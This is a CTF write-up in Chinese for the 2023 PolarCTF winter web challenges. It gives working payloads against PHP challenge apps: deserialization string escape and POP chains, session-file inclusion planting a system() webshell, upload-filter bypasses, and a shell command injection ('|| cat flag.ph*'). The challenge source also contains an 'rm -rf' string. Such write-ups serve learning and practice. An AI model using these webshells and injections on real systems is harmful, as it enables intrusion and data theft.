[2023PolarCTF冬季赛]WEB WP
WEB
你想逃也逃不掉
由于在serialize($user)之后进行了字符串过滤操作,就可以让传入username来吞掉passwd的内容,进而让反序列化字符串的结构发生变化。目的是在passwd构造新的sign属性来覆盖,让新的sign属性为ytyyds。
<?php
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = "skkyphp3php3php3php3php3phtml";
$user['passwd'] = 'blu3";s:4:"sign";s:6:"ytyyds";s:6:"passwd";s:4:"blu3";}';
$user['sign'] = '123456';
// a:3:{s:8:"username";s:4:"skky";s:6:"passwd";s:4:"blu3";s:4:"sign";s:6:"ytyyds";}s:4:"sign";s:6:"123456";}
$ans = filter(serialize($user));
echo $ans.PHP_EOL;
//$s = 'a:3:{s:8:"username";s:4:"skky";s:6:"passwd";}";s:4:"blu3";s:4:"sign";s:6:"123456";}';
var_dump(unserialize($ans));
随机值
用取址符号让Polar1和Night在Polar2和Light被赋随机值的时候一起变化。
<?php
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;
public function __construct(){
$this->Polar1 = & $this->Polar2;
$this->Night = & $this->Light;
}
}
echo serialize(new Index());
safe_include
源码
<?php
show_source(__FILE__);
@session_start();
ini_set('open_basedir', '/var/www/html/:/tmp/');
$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
$sys = $_GET['xxs'];
}
@include $sys;
$_SESSION['xxs'] = $sys;
basedir限制,同时开启了的session,考虑包含session。
尝试用Cookie中的PHPSESSID=gul18or2ajo45rsfgk416afq95,结合php伪协议读session/?xss=php://filter/convert.base64-encode/resource=/tmp/sess_gul18or2ajo45rsfgk416afq95,发现可以读,同时确定了session文件保存位置。

根据代码逻辑,第一次访问在session中写入恶意代码,第二次访问包含这个session。用两次请求来执行一次命令
/?xxs=<?php system($_GET[skky]);?>
/?xxs=/tmp/sess_gul18or2ajo45rsfgk416afq95&skky=ls /
读取flag

cool
shell_exec执行命令,用通配符读flag,payload
/?a=echo shell_exec("cat fla*");
phpurl
提示的加密字符串是base64,解码找到index.phps。url二次编码拿到flag
/index.php?sys=%25%37%38%25%37%38%25%37%33
你的马呢?
点开题目发现index.php存在文件包含:/index.php?file=upload.php。
上传的点过滤了所有可以解析为php的后缀,同时对文件内容过滤了<?php。
上传短标签,结合文件包含执行命令
<?=`cat /flag.txt`?>

文件包含/index.php?file=uploads/skky

ezphp
主页

访问robots.txt
User-agent: *
Disallow: /file
Disallow: /uploads
Disallow: /uploads/images
/uploads/upload.php上传个.jpg文件
<?php
system($_GET[skky]);
?>
/file/file.php?filename=../uploads/images/skky.jpg文件包含,用find / -name flag*找到flag文件位置

读取

cookie欺骗
修改Cookie:user=admin
upload
提示源码/?action=show_code,
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里对文件后缀是替换为空的,采用双写绕过skky.pphphp

干正则
源码
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
parse_str可以将字符串解析为变量,用它来覆盖$a。命令执行cmd读取flag,用flag.ph*绕过正则
/?id=a[]=www.polarctf.com&cmd= || cat flag.ph*
苦海
源码
<?php
/*
PolarD&N CTF
*/
error_reporting(1);
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';
public function __construct()
{
echo "删库跑路,蹲监狱~";
}
public function printName()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}
public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}
class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';
public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}
public function __toString()
{
return $this->file['filename']->content['title'];
}
}
class FileRobot
{
public $filename = 'flag.php';
public $path;
public function __get($name)
{
$function = $this->path;
return $function();
}
public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}
public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}
if (isset($_GET['user'])) {
unserialize($_GET['user']);
} else {
$hi = new User();
highlight_file(__FILE__);
}
目的是执行到FileRobot的__invoke,分析代码之后,FileRobot的__get有个可变函数调用的形式。Surrender中的__toString令$this->file['filename']为一个FileRobot对象来触发FileRobot的__get,最后读出../flag.php(😅)。
😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅
pop链构造如下
<?php
class User{
public function __construct()
{
$this->name = new Surrender();
}
}
class Surrender
{
public function __construct()
{
$o = new FileRobot();
$o->path = new FileRobot();
$this->file['filename'] = $o;
}
}
class FileRobot
{
public $path;
public $filename = '../flag.php';
}
echo serialize(new User());
